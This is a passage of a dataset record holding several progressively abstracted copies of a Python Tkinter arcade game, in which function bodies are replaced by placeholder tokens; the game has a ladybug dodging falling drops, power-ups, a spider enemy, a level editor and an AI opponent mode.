data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n<function token>\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\n<function token>\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef 